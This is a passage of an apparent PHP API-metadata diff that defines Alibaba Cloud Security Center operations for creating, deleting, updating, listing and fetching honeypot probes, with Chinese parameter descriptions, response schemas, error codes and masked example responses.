**0**：否'."\n" + .'- **1**：是', + 'type' => 'boolean', + 'required' => false, + 'example' => '0', + ], + 'BindPort' => [ + 'description' => '是否绑定端口。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + 'HoneypotId' => [ + 'description' => '蜜罐ID。'."\n" + .'> 您可以调用[ListHoneypot](~~ListHoneypot~~)接口获取该值。', + 'type' => 'string', + 'required' => false, + 'example' => '1a5eda2d40f92ac87d6b63e1a5ad4b76fe0d4110c4a3e2fa85438a29ae55****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Ping', + 'in' => 'query', + 'schema' => [ + 'title' => '检测类型 ping', + 'description' => 'ping扫描检测。取值：'."\n" + ."\n" + .'- **true**：开启'."\n" + .'- **false**：关闭', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'Arp', + 'in' => 'query', + 'schema' => [ + 'title' => '检查类型 arp', + 'description' => 'ARP欺骗检测。'."\n" + .'- **true**：开启'."\n" + .'- **false**：关闭', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'VpcId', + 'in' => 'query', + 'schema' => [ + 'title' => 'vpcId', + 'description' => '专有网络的ID。'."\n" + ."\n" + .'> **ProbeType**为**vpc\\_black\\_hole\\_probe**时该值不能为空。 您可以调用[DescribeVpcHoneyPotList](~~DescribeVpcHoneyPotList~~)接口获取该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'vpc-zm0asrkpv1q8gnk7mn4dn', + ], + ], + [ + 'name' => 'ProxyIp', + 'in' => 'query', + 'schema' => [ + 'description' => '代理IP。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '创建蜜罐探针返回信息。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B7A839E8-70AE-591D-8D9E-C5419A2240DB', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'HoneypotProbe' => [ + 'description' => '创建返回的探针信息。', + 'type' => 'object', + 'properties' => [ + 'ProbeId' => [ + 'description' => '探针唯一ID。', + 'type' => 'string', + 'example' => 'b69e9aa8-2ea8-4c5a-836a-c1fbacff****', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AgentNotOnline', + 'errorMessage' => 'The agent not online.', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'NodeNotExist', + 'errorMessage' => 'The control node does not exist.', + ], + [ + 'errorCode' => 'BindPortAlreadyExist', + 'errorMessage' => 'The specified service port already exists.', + ], + [ + 'errorCode' => 'MachineNotExist', + 'errorMessage' => 'The machine does not exist.', + ], + [ + 'errorCode' => 'ProbeAlreadyCreate', + 'errorMessage' => 'The probe has been created.', + ], + [ + 'errorCode' => 'ProbeNameAlreadyExists', + 'errorMessage' => 'The probe name already exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"B7A839E8-70AE-591D-8D9E-C5419A2240DB\\",\\n \\"HttpStatusCode\\": 200,\\n \\"HoneypotProbe\\": {\\n \\"ProbeId\\": \\"b69e9aa8-2ea8-4c5a-836a-c1fbacff****\\"\\n }\\n}","type":"json"}]', + 'title' => '创建蜜罐探针', + ], + 'DeleteHoneypotProbe' => [ + 'summary' => '删除指定的蜜罐探针。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'ProbeId', + 'in' => 'query', + 'schema' => [ + 'title' => '探针id', + 'description' => '探针ID。'."\n" + .'>调用[ListHoneypotProbe](~~ListHoneypotProbe~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '95f0f79c-f7e9-4b09-a6e3-95a4cb6d****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7FD1C1DC-AA67-510A-A022-5D23310C3658', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7FD1C1DC-AA67-510A-A022-5D23310C3658\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除蜜罐探针', + ], + 'UpdateHoneypotProbe' => [ + 'summary' => '更新指定的探针属性。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas30M8TS', + ], + ], + 'parameters' => [ + [ + 'name' => 'ProbeId', + 'in' => 'query', + 'schema' => [ + 'title' => '探针id', + 'description' => '探针ID。'."\n" + .'>调用[ListHoneypotProbe](~~ListHoneypotProbe~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'bbe7e382-956f-473e-beed-bc73a258****', + ], + ], + [ + 'name' => 'DisplayName', + 'in' => 'query', + 'schema' => [ + 'title' => '探针名称', + 'description' => '探针名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'svwsx-vpc-4430', + ], + ], + [ + 'name' => 'Ping', + 'in' => 'query', + 'schema' => [ + 'title' => '检测类型 ping', + 'description' => '检测类型ping。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'Arp', + 'in' => 'query', + 'schema' => [ + 'title' => '检查类型 arp', + 'description' => '检查类型arp。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'ServiceIpList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '监听IP列表。', + 'type' => 'array', + 'items' => [ + 'description' => '监听IP。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'AB62FFAA-E1A5-5D7C-8D97-0F16C6A6F520', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ProbeNotExist', + 'errorMessage' => 'Probe does not exist.', + ], + [ + 'errorCode' => 'ProbeNameAlreadyExists', + 'errorMessage' => 'The probe name already exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"AB62FFAA-E1A5-5D7C-8D97-0F16C6A6F520\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '更新探针属性', + ], + 'ListHoneypotProbe' => [ + 'summary' => '查询蜜罐探针列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'ProbeStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '探针状态。取值：'."\n" + .'- **installed**：安装成功'."\n" + .'- **install_failed**：安装失败'."\n" + .'- **online**：正常'."\n" + .'- **offline**：离线'."\n" + .'- **unnormal**：服务异常'."\n" + .'- **unprobe**：未授权'."\n" + .'- **uninstalling**：卸载中'."\n" + .'- **uninstalled**：卸载成功'."\n" + .'- **uninstall_failed**：卸载失败'."\n" + .'- **not_exist**：未安装', + 'type' => 'string', + 'required' => false, + 'example' => 'online', + ], + ], + [ + 'name' => 'DisplayName', + 'in' => 'query', + 'schema' => [ + 'title' => '探针名称', + 'description' => '探针名称', + 'type' => 'string', + 'required' => false, + 'example' => 'probe-test', + ], + ], + [ + 'name' => 'ProbeType', + 'in' => 'query', + 'schema' => [ + 'description' => '探针类型。取值：'."\n" + ."\n" + .'- **host_probe**：主机探针'."\n" + .'- **vpc\\_black\\_hole_probe**：VPC黑洞探针', + 'type' => 'string', + 'required' => false, + 'example' => 'host_probe', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。起始值为**1**。默认值为**1**，表示从第**1**页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PageResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '蜜罐探针数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐探针数据。', + 'type' => 'object', + 'properties' => [ + 'ProbeId' => [ + 'title' => '探针id', + 'description' => '探针ID。', + 'type' => 'string', + 'example' => '4d167bb3-dd09-4a6a-a179-d5d6a5b0****', + ], + 'ProbeType' => [ + 'title' => '探针类型', + 'description' => '探针类型。取值：'."\n" + ."\n" + .'- **host_probe**：主机探针'."\n" + .'- **vpc\\_black\\_hole_probe**：VPC黑洞探针', + 'type' => 'string', + 'example' => 'host_probe', + ], + 'ProbeVersion' => [ + 'title' => '探针版本', + 'description' => '探针版本。', + 'type' => 'string', + 'example' => '18060096', + ], + 'DisplayName' => [ + 'title' => '探针名称', + 'description' => '探针名称。', + 'type' => 'string', + 'example' => 'prod-pinpoint-hd1b ', + ], + 'OsType' => [ + 'title' => '操作系统类型', + 'description' => '探针实例的操作系统类型，取值范围：'."\n" + ."\n" + .'- windows：操作系统类型为Windows。'."\n" + .'- linux：操作系统类型为Linux。', + 'type' => 'string', + 'example' => 'windows', + ], + 'HostIp' => [ + 'title' => '探针绑定的本地地址', + 'description' => '探针绑定的本地地址。', + 'type' => 'string', + 'example' => '33.53.XX.XX', + ], + 'ControlNode' => [ + 'title' => '管理节点', + 'description' => '管理节点数据。', + 'type' => 'object', + 'properties' => [ + 'NodeId' => [ + 'title' => '节点id', + 'description' => '节点ID。', + 'type' => 'string', + 'example' => '8ec9da17-c0e7-4642-aad6-defc9722****', + ], + 'NodeName' => [ + 'title' => '节点名称', + 'description' => '节点名称。', + 'type' => 'string', + 'example' => 'HoneypotNode1', + ], + 'EcsInstanceId' => [ + 'title' => '实例id', + 'description' => 'ECS的实例ID。', + 'type' => 'string', + 'example' => 'i-uf6eq0rlvu1mkh0p****', + ], + ], + ], + 'DeployTime' => [ + 'title' => '部署时间', + 'description' => '部署时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1669363825000', + ], + 'Status' => [ + 'description' => '探针状态。取值：'."\n" + .'- **installed**：安装成功'."\n" + .'- **install_failed**：安装失败'."\n" + .'- **online**：正常'."\n" + .'- **offline**：离线'."\n" + .'- **unnormal**：服务异常'."\n" + .'- **unprobe**：未授权'."\n" + .'- **uninstalling**：卸载中'."\n" + .'- **uninstalled**：卸载成功'."\n" + .'- **uninstall_failed**：卸载失败'."\n" + .'- **not_exist**：未安装', + 'type' => 'string', + 'example' => 'online', + ], + 'Uuid' => [ + 'description' => '主机探针所在资产实例的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'VpcId' => [ + 'description' => 'VPC探针所在VPC实例的ID。', + 'type' => 'string', + 'example' => 'vpc-5gu8iu68w9b472jbb****', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的蜜罐探针的数量。默认值为**20**，表示每页显示20条蜜罐探针信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的蜜罐探针数据的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'Count' => [ + 'description' => '当前页显示的蜜罐探针的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4BC9E610-21BE-537F-82EF-144A60D5A970', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"ProbeId\\": \\"4d167bb3-dd09-4a6a-a179-d5d6a5b0****\\",\\n \\"ProbeType\\": \\"host_probe\\",\\n \\"ProbeVersion\\": \\"18060096\\",\\n \\"DisplayName\\": \\"prod-pinpoint-hd1b \\",\\n \\"OsType\\": \\"windows\\",\\n \\"HostIp\\": \\"33.53.XX.XX\\",\\n \\"ControlNode\\": {\\n \\"NodeId\\": \\"8ec9da17-c0e7-4642-aad6-defc9722****\\",\\n \\"NodeName\\": \\"HoneypotNode1\\",\\n \\"EcsInstanceId\\": \\"i-uf6eq0rlvu1mkh0p****\\"\\n },\\n \\"DeployTime\\": 1669363825000,\\n \\"Status\\": \\"online\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"VpcId\\": \\"vpc-5gu8iu68w9b472jbb****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"4BC9E610-21BE-537F-82EF-144A60D5A970\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询蜜罐探针列表', + ], + 'GetHoneypotProbe' => [ + 'summary' => '获取指定的蜜罐探针详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '124719', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'ProbeId', + 'in' => 'query', + 'schema' => [ + 'title' => '探针id', + 'description' => '探针ID。'."\n" + .'>调用[ListHoneypotProbe](~~ListHoneypotProbe~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'd6c1ebc9-a90d-4c9e-9490-328814d1ca00', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '探针数据。', + 'type' => 'object', + 'properties' => [ + 'ProbeId' => [ + 'title' => '探针id', + 'description' => '探针ID。', + 'type' => 'string', + 'example' => '40f6501d-45ec-4bf0-b813-0072ceb4****', + ], + 'ProbeType' => [ + 'title' => '探针类型', + 'description' => '探针类型。取值：'."\n" + .'- **host_probe**：主机探针'."\n" + .'- **vpc\\_black\\_hole\\_probe**：VPC黑洞探针', + 'type' => 'string', + 'example' => 'host_probe', + ], + 'DisplayName' => [ + 'title' => '探针名称', + 'description' => '探针名称。', + 'type' => 'string', + 'example' => 'test-probe', + ], + 'OsType' => [ + 'title' => '操作系统类型', + 'description' => '探针实例的操作系统类型，取值范围：'."\n" + ."\n" + .'- windows：操作系统类型为Windows。'."\n" + .'- linux：操作系统类型为Linux。', + 'type' => 'string', + 'example' => 'windows', + ], + 'ProbeVersion' => [ + 'title' => '探针版本', + 'description' => '探针版本。', + 'type' => 'string', + 'example' => '18060096', + ], + 'HostIp' => [ + 'title' => '探针绑定的本地地址', + 'description' => '探针绑定的本地地址。', + 'type' => 'string', + 'example' => '33.53.XX.XX', + ], + 'ControlNode' => [ + 'title' => '管理节点', + 'description' => '管理节点。', + 'type' => 'object', + 'properties' => [ + 'NodeId' => [ + 'title' => '节点id', + 'description' => '管理节点ID。', + 'type' => 'string', + 'example' => '37a15ff1-3475-4897-aa6c-f7fd9122****', + ], + 'NodeName' => [ + 'title' => '节点名称', + 'description' => '管理节点名称。', + 'type' => 'string', + 'example' => 'online-honeypot', + ], + 'EcsInstanceId' => [ + 'title' => '实例id', + 'description' => '管理节点实例ID。', + 'type' => 'string', + 'example' => 'i-bp19ijepxytwtzrk****', + ], + ], + ], + 'Ping' => [ + 'title' => '检查项目 ping', + 'description' => '检查项目ping。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'Arp' => [ + 'title' => '检查项目 arp', + 'description' => '检查项目arp。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'DeployTime' => [ + 'title' => '部署时间', + 'description' => '部署时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1669363825000', + ], + 'Status' => [ + 'title' => '探针状态', + 'description' => '探针状态。取值：'."\n" + .'- **installed**：安装成功'."\n" + .'- **install_failed**：安装失败'."\n" + .'- **online**：正常'."\n" + .'- **offline**：离线'."\n" + .'- **unnormal**：服务异常'."\n" + .'- **unprobe**：未授权'."\n" + .'- **uninstalling**：卸载中'."\n" + .'- **uninstalled**：卸载成功'."\n" + .'- **uninstall_failed**：卸载失败'."\n" + .'- **not_exist**：未安装', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'online', + ], + 'ListenIpList' => [ + 'title' => '可监听IP', + 'description' => '可监听IP列表。', + 'type' => 'array', + 'items' => [ + 'description' => '可监听IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + ], + 'CpuLoad' => [ + 'title' => 'cpu 占用', + 'description' => 'CPU占用。', + 'type' => 'number', + 'format' => 'double', + 'example' => '0.51', + ], + 'MemoryLoad' => [ + 'title' => '内存 占用', + 'description' => '内存占用。', + 'type' => 'number', + 'format' => 'double', + 'example' => '1.94', + ], + 'HoneypotProbeBindList' => [ + 'title' => '服务列表', + 'description' => '探针绑定的蜜罐服务列表。', + 'type' => 'array', + 'items' => [ + 'description' => '绑定的蜜罐服务数据。', + 'type' => 'object', + 'properties' => [ + 'ServiceIpList' => [ + 'title' => '监听 ip 列表', + 'description' => '监听IP列表。', + 'type' => 'array', + 'items' => [ + 'description' => '监听IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + ], + 'Status' => [ + 'title' => '服务状态', + 'description' => '绑定的蜜罐服务状态。取值：'."\n" + .'- **1**：服务异常'."\n" + .'- **3**：正常', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'HoneypotId' => [ + 'title' => '蜜罐Id', + 'description' => '蜜罐ID。', + 'type' => 'string', + 'example' => '913347774a3b3c378c6a50f66de23dfa097765214ec3f0526b01c67bf59c****', + ], + 'BindPortList' => [ + 'description' => '绑定端口列表。', + 'type' => 'array', + 'items' => [ + 'description' => '绑定端口数据。', + 'type' => 'object', + 'properties' => [ + 'StartPort' => [ + 'title' => '探针监听起始端口', + 'description' => '探针监听起始端口。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'EndPort' => [ + 'title' => '探针监听结束端口', + 'description' => '探针监听结束端口。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '80', + ], + 'Proto' => [ + 'title' => '协议类型', + 'description' => '协议类型。', + 'type' => 'string', + 'example' => 'tcp', + ], + 'Fixed' => [ + 'description' => '是否固定端口。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'TargetPort' => [ + 'description' => '目标端口。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '80', + ], + 'Id' => [ + 'description' => '绑定端口记录唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2512', + ], + 'BindPort' => [ + 'description' => '是否绑定端口。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'Err' => [ + 'description' => '绑定服务端口错误。', + 'type' => 'string', + 'example' => 'portmap failed', + ], + 'Msg' => [ + 'description' => '绑定服务端口错误详情。', + 'type' => 'string', + 'example' => 'listen 22 tcp4 failed', + ], + 'Status' => [ + 'description' => '绑定服务端口状态。取值：'."\n" + .'- **1**：服务异常'."\n" + .'- **3**：正常', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + ], + 'BindId' => [ + 'description' => '绑定服务的唯一ID。', + 'type' => 'string', + 'example' => '45378f64-d7b4-4a53-9c48-4303eb4b****', + ], + ], + ], + ], + 'HoneyPotProbeScanPort' => [ + 'description' => '蜜罐监听端口探测服务列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '监听服务唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '15389', + ], + 'ProbeId' => [ + 'description' => '探针唯一ID。', + 'type' => 'string', + 'example' => 'a46f5162-c70d-4e26-8ddf-7435feca****', + ], + 'ServiceIpList' => [ + 'description' => '监听的IP列表。', + 'type' => 'array', + 'items' => [ + 'description' => '监听IP。', + 'type' => 'string', + 'example' => '0.0.0.0', + ], + ], + 'Status' => [ + 'description' => '监听服务状态。取值：'."\n" + .'- **1**：服务异常'."\n" + .'- **3**：正常', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Ports' => [ + 'description' => '监听端口。', + 'type' => 'string', + 'example' => '{'."\n" + .' "tcp": "1-65535",'."\n" + .' "udp": "1-65535"'."\n" + .'}', + ], + ], + ], + 'Uuid' => [ + 'description' => '主机探针所在资产实例的UUID。', + 'type' => 'string', + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + 'CanListenIpList' => [ + 'description' => '可监听IP列表。', + 'type' => 'array', + 'items' => [ + 'description' => '可监听IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + ], + 'CidrList' => [ + 'description' => 'VPC探针覆盖的网段列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'VPC探针覆盖的网段。', + 'type' => 'string', + 'example' => '192.168.0.0/16', + ], + ], + 'ProxyIp' => [ + 'description' => 'IDC部署代理IP。', + 'type' => 'string', + 'example' => '47.108.XX.XX', + ], + 'VpcId' => [ + 'description' => 'VPC探针所在VPC实例的ID。', + 'type' => 'string', + 'example' => 'vpc-2vchkxmf2j9yjt3x2****', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6550E0E6-FD6C-5F39-AB5E-35B30DCA97B5', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidParam', + 'errorMessage' => 'There was an error with your request.', + ], + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ProbeId\\": \\"40f6501d-45ec-4bf0-b813-0072ceb4****\\",\\n \\"ProbeType\\": \\"host_probe\\",\\n \\"DisplayName\\": \\"test-probe\\",\\n \\"OsType\\": \\"windows\\",\\n 